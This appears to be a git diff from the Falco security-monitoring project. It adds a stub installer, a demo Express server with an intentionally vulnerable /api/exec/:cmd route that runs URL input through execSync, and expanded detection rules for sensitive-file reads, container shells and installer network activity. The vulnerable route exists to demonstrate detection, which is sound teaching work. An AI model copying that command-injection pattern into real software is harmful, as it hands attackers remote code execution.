+# published by the Free Software Foundation.
+#
+# my-software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with my-software.  If not, see <http://www.gnu.org/licenses/>.
+#
+set -e
+
+function install_rpm {
+	if ! hash curl > /dev/null 2>&1; then
+		echo "* Installing curl"
+		yum -q -y install curl
+	fi
+
+	echo "*** Installing my-software public key"
+	# A rpm --import command would normally be here
+
+	echo "*** Installing my-software repository"
+	# A curl path-to.repo <some url> would normally be here
+
+	echo "*** Installing my-software"
+	# A yum -q -y install my-software command would normally be here
+
+	echo "*** my-software Installed!"
+}
+
+function install_deb {
+	export DEBIAN_FRONTEND=noninteractive
+
+	if ! hash curl > /dev/null 2>&1; then
+		echo "* Installing curl"
+		apt-get -qq -y install curl < /dev/null
+	fi
+
+	echo "*** Installing my-software public key"
+	# A curl <url> | apt-key add - command would normally be here
+
+	echo "*** Installing my-software repository"
+	# A curl path-to.list <some url> would normally be here
+
+	echo "*** Installing my-software"
+	# An apt-get -qq -y install my-software command would normally be here
+
+	echo "*** my-software Installed!"
+}
+
+function unsupported {
+	echo 'Unsupported operating system. Please consider writing to the mailing list at'
+	echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
+	echo 'installation.'
+	exit 1
+}
+
+if [ $(id -u) != 0 ]; then
+	echo "Installer must be run as root (or with sudo)."
+#	exit 1
+fi
+
+echo "* Detecting operating system"
+
+ARCH=$(uname -m)
+if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
+	unsupported
+fi
+
+if [ -f /etc/debian_version ]; then
+	if [ -f /etc/lsb-release ]; then
+		. /etc/lsb-release
+		DISTRO=$DISTRIB_ID
+		VERSION=${DISTRIB_RELEASE%%.*}
+	else
+		DISTRO="Debian"
+		VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
+	fi
+
+	case "$DISTRO" in
+
+		"Ubuntu")
+			if [ $VERSION -ge 10 ]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		"LinuxMint")
+			if [ $VERSION -ge 9 ]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		"Debian")
+			if [ $VERSION -ge 6 ]; then
+				install_deb
+			elif [[ $VERSION == *sid* ]]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		*)
+			unsupported
+			;;
+
+	esac
+
+elif [ -f /etc/system-release-cpe ]; then
+	DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
+	VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
+
+	case "$DISTRO" in
+
+		"oracle" | "centos" | "redhat")
+			if [ $VERSION -ge 6 ]; then
+				install_rpm
+			else
+				unsupported
+			fi
+			;;
+
+		"amazon")
+			install_rpm
+			;;
+
+		"fedoraproject")
+			if [ $VERSION -ge 13 ]; then
+				install_rpm
+			else
+				unsupported
+			fi
+			;;
+
+		*)
+			unsupported
+			;;
+
+	esac
+
+else
+	unsupported
+fi

examples/nodejs-bad-rest-api/README.md

@@ -0,0 +1,66 @@
+#Demo of falco with bash exec via poorly designed REST API.
+
+## Introduction
+
+This example shows how a server could have a poorly designed API that
+allowed a client to execute arbitrary programs on the server, and how
+that behavior can be detected using Sysdig Falco.
+
+`server.js` in this directory defines the server. The poorly designed
+API is this route handler:
+
+```javascript
+router.get('/exec/:cmd', function(req, res) {
+    var output = child_process.execSync(req.params.cmd);
+    res.send(output);
+});
+
+app.use('/api', router);
+```
+
+It blindly takes the url portion after `/api/exec/<cmd>` and tries to
+execute it. A horrible design choice(!), but allows us to easily show
+Sysdig falco's capabilities.
+
+## Demo architecture
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+
+* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
+* falco: will detect when you execute a shell via the express server.
+
+### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
+
+Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
+
+```
+$ curl http://localhost:8080/api/exec/ls
+
+demo.yml
+node_modules
+package.json
+README.md
+server.js
+```
+
+```
+$ curl http://localhost:8080/api/exec/pwd
+
+.../examples/nodejs-bad-rest-api
+```
+
+### Try to run bash via `/api/exec/bash`, falco sends alert.
+
+If you try to run bash via `/api/exec/bash`, falco will generate an alert:
+
+```
+falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
+```

examples/nodejs-bad-rest-api/demo.yml

@@ -0,0 +1,24 @@
+# Owned by software vendor, serving install-software.sh.
+express_server:
+  container_name: express_server
+  image: node:latest
+  working_dir: /usr/src/app
+  command: bash -c "npm install && node server.js"
+  ports:
+    - "8080:8080"
+  volumes:
+        - ${PWD}:/usr/src/app
+
+falco:
+  container_name: falco
+  image: sysdig/falco:latest
+  privileged: true
+  volumes:
+    - /var/run/docker.sock:/host/var/run/docker.sock
+    - /dev:/host/dev
+    - /proc:/host/proc:ro
+    - /boot:/host/boot:ro
+    - /lib/modules:/host/lib/modules:ro
+    - /usr:/host/usr:ro
+    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+  tty: true

examples/nodejs-bad-rest-api/package.json

@@ -0,0 +1,7 @@
+{
+    "name": "bad-rest-api",
+    "main": "server.js",
+    "dependencies": {
+	"express": "~4.0.0"
+    }
+}

examples/nodejs-bad-rest-api/server.js

@@ -0,0 +1,25 @@
+var express    = require('express');        // call express
+var app        = express();                 // define our app using express
+var child_process = require('child_process');
+
+var port = process.env.PORT || 8080;        // set our port
+
+// ROUTES FOR OUR API
+// =============================================================================
+var router = express.Router();              // get an instance of the express Router
+
+// test route to make sure everything is working (accessed at GET http://localhost:8080/api)
+router.get('/', function(req, res) {
+    res.json({ message: 'API available'});
+});
+
+router.get('/exec/:cmd', function(req, res) {
+    var output = child_process.execSync(req.params.cmd);
+    res.send(output);
+});
+
+app.use('/api', router);
+
+app.listen(port);
+console.log('Server running on port: ' + port);
+

falco.yaml

@@ -23,3 +23,6 @@ file_output:
 stdout_output:
   enabled: true
 
+program_output:
+  enabled: false
+  program: mail -s "Falco Notification" someone@example.com

rules/falco_rules.yaml

@@ -14,114 +14,126 @@
 #   condition: (syscall.type=read and evt.dir=> and fd.type in (file, directory))
 
 - macro: open_write
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_WRONLY or
-    evt.arg.flags contains O_RDWR or
-    evt.arg.flags contains O_CREAT or
-    evt.arg.flags contains O_TRUNC)
+  condition: (evt.type=open or evt.type=openat) and evt.is_open_write=true and fd.typechar='f'
+
 - macro: open_read
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_RDONLY or
-    evt.arg.flags contains O_RDWR)
+  condition: (evt.type=open or evt.type=openat) and evt.is_open_read=true and fd.typechar='f'
 
 - macro: rename
-  condition: syscall.type = rename
+  condition: evt.type = rename
 - macro: mkdir
-  condition: syscall.type = mkdir
+  condition: evt.type = mkdir
 - macro: remove
-  condition: syscall.type in (remove, rmdir, unlink, unlink_at)
+  condition: evt.type in (rmdir, unlink, unlinkat)
 
 - macro: modify
   condition: rename or remove
-  
-- macro: spawn_process
-  condition: syscall.type = execve and evt.dir=<
+
+- macro: spawned_process
+  condition: evt.type = execve and evt.dir=<
 
 # File categories
 - macro: terminal_file_fd
-  condition: fd.name=/dev/ptmx or fd.directory=/dev/pts
+  condition: fd.name=/dev/ptmx or fd.name startswith /dev/pts
+
 - macro: bin_dir
   condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin)
 
 - macro: bin_dir_mkdir
-  condition: evt.arg[0] contains /bin/ or evt.arg[0] contains /sbin/ or evt.arg[0] contains /usr/bin/ or evt.arg[0] contains /usr/sbin/
+  condition: evt.arg[0] startswith /bin/ or evt.arg[0] startswith /sbin/ or evt.arg[0] startswith /usr/bin/ or evt.arg[0] startswith /usr/sbin/
 - macro: bin_dir_rename
-  condition: evt.arg[1] contains /bin/ or evt.arg[1] contains /sbin/ or evt.arg[1] contains /usr/bin/ or evt.arg[1] contains /usr/sbin/
+  condition: evt.arg[1] startswith /bin/ or evt.arg[1] startswith /sbin/ or evt.arg[1] startswith /usr/bin/ or evt.arg[1] startswith /usr/sbin/
 
 - macro: etc_dir
-  condition: fd.directory contains /etc
+  condition: fd.name startswith /etc
 
 - macro: ubuntu_so_dirs
-  condition: fd.directory contains /lib/x86_64-linux-gnu or fd.directory contains /usr/lib/x86_64-linux-gnu or fd.directory contains /usr/lib/sudo
+  condition: fd.name startswith /lib/x86_64-linux-gnu or fd.name startswith /usr/lib/x86_64-linux-gnu or fd.name startswith /usr/lib/sudo
 - macro: centos_so_dirs
-  condition: fd.directory contains /lib64 or fd.directory contains /user/lib64 or fd.directory contains /usr/libexec
+  condition: fd.name startswith /lib64 or fd.name startswith /usr/lib64 or fd.name startswith /usr/libexec
 - macro: linux_so_dirs
   condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
 
-- macro: coreutils_binaries
-  condition: >
-    proc.name in (truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
+- list: coreutils_binaries
+  items: [
+    truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
     groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
-    basename, split, nice, yes, whoami, sha224sum, hostid, users, stdbuf,
+    basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
     base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
     comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
     tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
-    tail, [, seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
-    tac, link, chroot, vdir, chown, touch, ls, dd, uname, true, pwd, date,
-    chgrp, chmod, mktemp, cat, mknod, sync, ln, false, rm, mv, cp, echo,
-    readlink, sleep, stty, mkdir, df, dir, rmdir, touch)
-- macro: adduser_binaries
-  condition: proc.name in (adduser, deluser, addgroup, delgroup)
-- macro: login_binaries
-  condition: proc.name in (bin, login, su, sbin, nologin, bin, faillog, lastlog, newgrp, sg)
+    tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
+    tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
+    chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
+    readlink, sleep, stty, mkdir, df, dir, rmdir, touch
+    ]
 
-# dpkg -L passwd | grep bin | xargs -L 1 basename | tr "\\n" ","
-- macro: passwd_binaries
-  condition: >
-    proc.name in (sbin, shadowconfig, sbin, grpck, pwunconv, grpconv, pwck,
+# dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
+- list: login_binaries
+  items: [login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]
+
+# dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
+- list: passwd_binaries
+  items: [
+    shadowconfig, grpck, pwunconv, grpconv, pwck,
     groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
-    groupadd, groupdel, grpunconv, chgpasswd, userdel, bin, chage, chsh,
-    gpasswd, chfn, expiry, passwd, vigr, cpgr)
+    groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
+    gpasswd, chfn, expiry, passwd, vigr, cpgr
+    ]
 
-# repoquery -l shadow-utils | grep bin | xargs -L 1 basename | tr "\\n" ","
-- macro: shadowutils_binaries
-  condition: >
-    proc.name in (chage, gpasswd, lastlog, newgrp, sg, adduser, chpasswd,
-    groupadd, groupdel, groupmems, groupmod, grpck, grpconv, grpunconv,
-    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw)
+# repoquery -l shadow-utils | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
+- list: shadowutils_binaries
+  items: [
+    chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
+    groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
+    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
+    ]
 
-- macro: docker_binaries
-  condition: proc.name in (docker, exe)
+- list: sysdigcloud_binaries
+  items: [setup-backend, dragent]
 
-- macro: http_server_binaries
-  condition: proc.name in (nginx, httpd, httpd-foregroun, lighttpd)
+- list: docker_binaries
+  items: [docker, exe]
 
-- macro: db_server_binaries
-  condition: proc.name in (mysqld)
+- list: http_server_binaries
+  items: [nginx, httpd, httpd-foregroun, lighttpd]
 
-- macro: server_binaries
-  condition: http_server_binaries or db_server_binaries or docker_binaries or proc.name in (sshd)
+- list: db_server_binaries
+  items: [mysqld]
 
-- macro: package_mgmt_binaries
-  condition: proc.name in (dpkg, rpm)
+- macro: server_procs
+  condition: proc.name in (http_server_binaries, db_server_binaries, docker_binaries, sshd)
+
+# The truncated dpkg-preconfigu is intentional, process names are
+# truncated at the sysdig level.
+- list: package_mgmt_binaries
+  items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum, frontend]
+
+- macro: package_mgmt_procs
+  condition: proc.name in (package_mgmt_binaries)
+
+- list: ssl_mgmt_binaries
+  items: [ca-certificates]
+
+- list: dhcp_binaries
+  items: [dhclient, dhclient-script]
 
 # A canonical set of processes that run other programs with different
 # privileges or as a different user.
-- macro: userexec_binaries
-  condition: proc.name in (sudo, su)
+- list: userexec_binaries
+  items: [sudo, su]
 
-- macro: system_binaries
-  condition: coreutils_binaries or adduser_binaries or login_binaries or passwd_binaries or shadowutils_binaries
+- list: user_mgmt_binaries
+  items: [login_binaries, passwd_binaries, shadowutils_binaries]
 
-- macro: mail_binaries
-  condition: proc.name in (sendmail, postfix, procmail)
+- macro: system_procs
+  condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
+
+- list: mail_binaries
+  items: [sendmail, sendmail-msp, postfix, procmail, exim4]
 
 - macro: sensitive_files
-  condition: fd.name contains /etc/shadow or fd.name = /etc/sudoers or fd.directory = /etc/sudoers.d or fd.directory = /etc/pam.d or fd.name = /etc/pam.conf
+  condition: fd.name startswith /etc and (fd.name in (/etc/shadow, /etc/sudoers, /etc/pam.conf) or fd.directory in (/etc/sudoers.d, /etc/pam.d))
 
 # Indicates that the process is new. Currently detected using time
 # since process was started, using a threshold of 5 seconds.
@@ -130,32 +142,30 @@
 
 # Network
 - macro: inbound
-  condition: (syscall.type=listen and evt.dir=>) or (syscall.type=accept and evt.dir=<)
+  condition: ((evt.type=listen and evt.dir=>) or (evt.type=accept and evt.dir=<))
 
-# Currently sendto is an ignored syscall, otherwise this could also check for (syscall.type=sendto and evt.dir=>)
+# Currently sendto is an ignored syscall, otherwise this could also check for (evt.type=sendto and evt.dir=>)
 - macro: outbound
-  condition: syscall.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
+  condition: evt.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
 
 - macro: ssh_port
   condition: fd.lport=22
 
 # Ssh
 - macro: ssh_error_message
-  condition: evt.arg.data contains "Invalid user" or evt.arg.data contains "preauth"
+  condition: (evt.arg.data contains "Invalid user" or evt.arg.data contains "preauth" or evt.arg.data contains "Failed password")
 
 # System
 - macro: modules
-  condition: syscall.type in (delete_module, init_module)
+  condition: evt.type in (delete_module, init_module)
 - macro: container
   condition: container.id != host
 - macro: interactive
-  condition: (proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind
+  condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind)
 - macro: syslog
-  condition: fd.name = /dev/log
-- macro: cron
-  condition: proc.name in (cron, crond)
-- macro: parent_cron
-  condition: proc.pname in (cron, crond)
+  condition: fd.name in (/dev/log, /run/systemd/journal/syslog)
+- list: cron_binaries
+  items: [cron, crond]
 
 # System users that should never log into a system. Consider adding your own
 # service users (e.g. 'apache' or 'mysqld') here.
@@ -169,43 +179,64 @@
 
 - rule: write_binary_dir
   desc: an attempt to write to any file below a set of binary directories
-  condition: evt.dir = > and open_write and bin_dir
+  condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs
   output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
+- macro: write_etc_common
+  condition: >
+    etc_dir and evt.dir = < and open_write
+    and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real)
+    and not proc.pname in (sysdigcloud_binaries)
+    and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java)
+
 - rule: write_etc
-  desc: an attempt to write to any file below /etc
-  condition: evt.dir = > and open_write and etc_dir
+  desc: an attempt to write to any file below /etc, not in a pipe installer session
+  condition: write_etc_common and not proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
+# Within a fbash session, the severity is lowered to INFO
+- rule: write_etc_installer
+  desc: an attempt to write to any file below /etc, in a pipe installer session
+  condition: write_etc_common and proc.sname=fbash
+  output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session"
+  priority: INFO
+
 - rule: read_sensitive_file_untrusted
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
-  condition: open_read and not server_binaries and not userexec_binaries and not proc.name in (iptables, ps, systemd-logind, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash) and not cron and sensitive_files
+  condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not proc.cmdline contains /usr/bin/mandb
   output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 - rule: read_sensitive_file_trusted_after_startup
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards.
-  condition: open_read and server_binaries and not proc_is_new and sensitive_files
+  condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd"
   output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
-- rule: db_program_spawn_process
-  desc: a database-server related program spawning a new process after startup. This shouldn\'t occur and is a follow on from some SQL injection attacks.
-  condition: db_server_binaries and not proc_is_new and spawn_process
-  output: "Database-related program spawned new process after startup (user=%user.name command=%proc.cmdline)"
+# Only let rpm-related programs write to the rpm database
+- rule: write_rpm_database
+  desc: an attempt to write to the rpm database by any non-rpm related program
+  condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum)
+  output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
+  priority: WARNING
+
+- rule: db_program_spawned_process
+  desc: a database-server related program spawned a new process other than itself. This shouldn\'t occur and is a follow on from some SQL injection attacks.
+  condition: proc.pname in (db_server_binaries) and spawned_process and not proc.name in (db_server_binaries)
+  output: "Database-related program spawned process other than itself (user=%user.name program=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
 - rule: modify_binary_dirs
   desc: an attempt to modify any file below a set of binary directories.
-  condition: modify and bin_dir_rename and not package_mgmt_binaries
+  condition: bin_dir_rename and modify and not package_mgmt_procs
   output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)"
   priority: WARNING
 
 - rule: mkdir_binary_dirs
   desc: an attempt to create a directory below a set of binary directories.
-  condition: mkdir and bin_dir_mkdir and not package_mgmt_binaries
+  condition: mkdir and bin_dir_mkdir and not package_mgmt_procs
   output: "Directory below known binary directory created (user=%user.name command=%proc.cmdline directory=%evt.arg.path)"
   priority: WARNING
 
@@ -218,21 +249,22 @@
 #   output: "Loaded .so from unexpected dir (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)"
 #   priority: WARNING
 
-- rule: syscall_returns_eaccess
-  desc: any system call that returns EACCESS. This is not always a strong indication of a problem, hence the INFO priority.
-  condition: evt.res = EACCESS
-  output: "System call returned EACCESS (user=%user.name command=%proc.cmdline syscall=%evt.type args=%evt.args)"
-  priority: INFO
+# Temporarily disabling this rule as it's tripping over https://github.com/draios/sysdig/issues/598
+# - rule: syscall_returns_eaccess
+#   desc: any system call that returns EACCESS. This is not always a strong indication of a problem, hence the INFO priority.
+#   condition: evt.res = EACCESS
+#   output: "System call returned EACCESS (user=%user.name command=%proc.cmdline syscall=%evt.type args=%evt.args)"
+#   priority: INFO
 
 - rule: change_thread_namespace
   desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
-  condition: syscall.type = setns and not proc.name in (docker, sysdig, dragent)
+  condition: evt.type = setns and not proc.name in (docker, sysdig, dragent, nsenter, exe)
   output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)"
   priority: WARNING
 
 - rule: run_shell_untrusted
   desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
-  condition: proc.name = bash and evt.dir=< and evt.type=execve and proc.pname exists and not parent_cron and not proc.pname in (bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, flock, fs-bash, nginx, monit, supervisord)
+  condition: spawned_process and not container and proc.name = bash and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
   output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
@@ -243,61 +275,93 @@
 
 - rule: system_user_interactive
   desc: an attempt to run interactive commands by a system (i.e. non-login) user
-  condition: spawn_process and system_users and interactive
+  condition: spawned_process and system_users and interactive
   output: "System user ran an interactive command (user=%user.name command=%proc.cmdline)"
   priority: WARNING
 
 - rule: run_shell_in_container
-  desc: an attempt to spawn a shell by a non-shell program in a container. Container entrypoints are excluded.
-  condition: container and proc.name = bash and evt.dir=< and evt.type=execve and proc.pname exists and not proc.pname in (bash, docker)
+  desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
+  condition: spawned_process and container and proc.name = bash and proc.pname exists and not proc.pname in (sh, bash, docker)
   output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
 # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
-- rule: system_binaries_network_activity
+- rule: system_procs_network_activity
   desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
-  condition: (inbound or outbound) and (fd.sockfamily = ip and system_binaries)
+  condition: (fd.sockfamily = ip and system_procs) and (inbound or outbound)
   output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)"
   priority: WARNING
 
-- rule: ssh_error_syslog
-  desc: any ssh errors (failed logins, disconnects, ...) sent to syslog
-  condition: syslog and ssh_error_message and evt.dir = <
-  output: "sshd sent error message to syslog (error=%evt.buffer)"
-  priority: WARNING
+# With the current restriction on system calls handled by falco
+# (e.g. excluding read/write/sendto/recvfrom/etc, this rule won't
+# trigger).
+# - rule: ssh_error_syslog
+#   desc: any ssh errors (failed logins, disconnects, ...) sent to syslog
+#   condition: syslog and ssh_error_message and evt.dir = <
+#   output: "sshd sent error message to syslog (error=%evt.buffer)"
+#   priority: WARNING
 
+# sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
 - rule: non_sudo_setuid
   desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges.
-  condition: evt.type=setuid and evt.dir=> and not user.name=root and not userexec_binaries
+  condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd)
   output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)"
   priority: WARNING
 
 - rule: user_mgmt_binaries
   desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup.
-  condition: spawn_process and not proc.name in (su, sudo) and not container and (adduser_binaries or login_binaries or passwd_binaries or shadowutils_binaries)
-  output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline)"
+  condition: spawned_process and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo) and not container and not proc.pname in (cron_binaries, systemd, run-parts)
+  output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
 # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
 - rule: create_files_below_dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
-  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
+  condition: fd.directory = /dev and (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
-# fs-bash is a restricted version of bash suitable for use in curl <curl> | sh installers.
+# fbash is a small shell script that runs bash, and is suitable for use in curl <curl> | fbash installers.
 - rule: installer_bash_starts_network_server
-  desc: an attempt by any program that is a child of fs-bash to start listening for network connections
-  condition: evt.type=listen and proc.aname=fs-bash
-  output: "Unexpected listen call by a child process of fs-bash (command=%proc.cmdline)"
+  desc: an attempt by a program in a pipe installer session to start listening for network connections
+  condition: evt.type=listen and proc.sname=fbash
+  output: "Unexpected listen call by a process in a fbash session (command=%proc.cmdline)"
   priority: WARNING
 
 - rule: installer_bash_starts_session
-  desc: an attempt by any program that is a child of fs-bash to start a new session (process group)
-  condition: evt.type=setsid and proc.aname=fs-bash
-  output: "Unexpected setsid call by a child process of fs-bash (command=%proc.cmdline)"
+  desc: an attempt by a program in a pipe installer session to start a new session
+  condition: evt.type=setsid and proc.sname=fbash
+  output: "Unexpected setsid call by a process in fbash session (command=%proc.cmdline)"
   priority: WARNING
 
+- rule: installer_bash_non_https_connection
+  desc: an attempt by a program in a pipe installer session to make an outgoing connection on a non-http(s) port
+  condition: proc.sname=fbash and outbound and not fd.sport in (80, 443, 53)
+  output: "Outbound connection on non-http(s) port by a process in a fbash session (command=%proc.cmdline connection=%fd.name)"
+  priority: WARNING
+
+# It'd be nice if we could warn when processes in a fbash session try
+# to download from any nonstandard location? This is probably blocked
+# on https://github.com/draios/falco/issues/88 though.
+
+# Notice when processes try to run chkconfig/systemctl.... to install a service.
+# Note: this is not a WARNING, as you'd expect some service management
+# as a part of doing the installation.
+- rule: installer_bash_manages_service
+  desc: an attempt by a program in a pipe installer session to manage a system service (systemd/chkconfig)
+  condition: evt.type=execve and proc.name in (chkconfig, systemctl) and proc.sname=fbash
+  output: "Service management program run by process in a fbash session (command=%proc.cmdline)"
+  priority: INFO
+
+# Notice when processes try to run any package management binary within a fbash session.
+# Note: this is not a WARNING, as you'd expect some package management
+# as a part of doing the installation
+- rule: installer_bash_runs_pkgmgmt
+  desc: an attempt by a program in a pipe installer session to run a package management binary
+  condition: evt.type=execve and package_mgmt_procs and proc.sname=fbash
+  output: "Package management program run by process in a fbash session (command=%proc.cmdline)"
+  priority: INFO
+
 ###########################
 # Application-Related Rules
 ###########################
@@ -463,6 +527,6 @@
 
 # - rule: http_server_unexpected_network_inbound
 #   desc: inbound network traffic to a http server program on a port other than the standard ports
-#   condition: http_server_binaries and inbound and fd.sport != 80 and fd.sport != 443
+#   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
 #   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
 #   priority: WARNING

scripts/CMakeLists.txt

@@ -1,5 +1,5 @@
-file(COPY ${PROJECT_SOURCE_DIR}/scripts/debian/falco
-	DESTINATION ${PROJECT_BINARY_DIR}/scripts/debian)
+file(COPY "${PROJECT_SOURCE_DIR}/scripts/debian/falco"
+	DESTINATION "${PROJECT_BINARY_DIR}/scripts/debian")
 
-file(COPY ${PROJECT_SOURCE_DIR}/scripts/rpm/falco
-	DESTINATION ${PROJECT_BINARY_DIR}/scripts/rpm)
+file(COPY "${PROJECT_SOURCE_DIR}/scripts/rpm/falco"
+	DESTINATION "${PROJECT_BINARY_DIR}/scripts/rpm")

test/cpu_monitor.sh

@@ -0,0 +1,9 @@
+#!/bin/bash
+
+SUBJ_PID=$1
+BENCHMARK=$2
+VARIANT=$3
+RESULTS_FILE=$4
+CPU_INTERVAL=$5
+
+top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE

